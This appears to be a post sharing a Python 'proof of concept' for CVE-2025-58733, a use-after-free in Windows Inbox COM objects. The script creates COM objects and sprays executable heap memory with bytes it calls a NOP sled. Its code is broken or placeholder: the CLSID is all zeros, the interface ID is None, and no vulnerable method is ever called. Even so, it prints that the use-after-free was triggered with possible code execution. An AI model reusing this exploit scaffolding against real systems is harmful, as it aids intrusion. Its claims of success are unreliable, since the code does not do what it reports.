CVE-2025-58733：Windows Inbox COM对象释放后使用漏洞

# CVE-2025-58733 PoC - Use After Free in Inbox COM Objects # This is a conceptual PoC demonstrating the exploitation approach # Note: Actual exploitation requires specific COM object manipulation import ctypes import struct import sys # Step 1: Initialize COM library class COMExploit: def __init__(self): self.ole32 = ctypes.windll.ole32 self.kernel32 = ctypes.windll.kernel32 self.clsid = None # Target Inbox COM object CLSID self.iid = None # Target interface IID def init_com(self): """Initialize COM library for the calling thread""" # COINIT_APARTMENTTHREADED = 0x2 hr = self.ole32.CoInitializeEx(None, 0x2) if hr < 0: print(f"[-] CoInitializeEx failed: 0x{hr:08x}") return False print("[+] COM initialized successfully") return True def create_com_object(self, clsid_str): """Create an instance of the vulnerable Inbox COM object""" clsid = ctypes.c_char_p(clsid_str.encode('utf-8')) p_pUnk = ctypes.c_void_p() # CLSCTX_INPROC_SERVER = 0x1 hr = self.ole32.CoCreateInstance( clsid, None, 0x1, ctypes.byref(self.iid), ctypes.byref(p_pUnk) ) if hr < 0: print(f"[-] CoCreateInstance failed: 0x{hr:08x}") return None print(f"[+] COM object created: {p_pUnk.value:#x}") return p_pUnk.value def trigger_uaf(self, com_object_ptr): """Trigger the Use-After-Free vulnerability""" # Step 1: Call method to allocate internal object # Step 2: Force release of the object (reference count = 0) # Step 3: Reallocate freed memory with controlled data # Step 4: Call method again to access freed memory (UAF) print("[*] Triggering UAF vulnerability...") # Conceptual trigger sequence # In real exploit, specific COM interface methods would be called # to trigger the race condition / use-after-free # Simulate heap spray for memory reuse spray_data = b"\x41" * 0x1000 # NOP sled / controlled data for i in range(100): addr = self.kernel32.VirtualAlloc( 0, len(spray_data), 0x3000, # MEM_COMMIT | MEM_RESERVE 0x40 # PAGE_EXECUTE_READWRITE ) ctypes.memmove(addr, spray_data, len(spray_data)) print("[+] Heap spray completed") print("[+] UAF triggered - potential code execution") return True def cleanup(self): """Uninitialize COM library""" self.ole32.CoUninitialize() print("[+] COM uninitialized") def main(): print("=" * 60) print("CVE-2025-58733 PoC") print("Use After Free in Inbox COM Objects") print("=" * 60) exploit = COMExploit() if not exploit.init_com(): sys.exit(1) # Target CLSID would be the specific vulnerable Inbox COM object # This needs to be replaced with the actual vulnerable CLSID target_clsid = "{00000000-0000-0000-0000-000000000000}" com_obj = exploit.create_com_object(target_clsid) if com_obj: exploit.trigger_uaf(com_obj) exploit.cleanup() if __name__ == "__main__": main()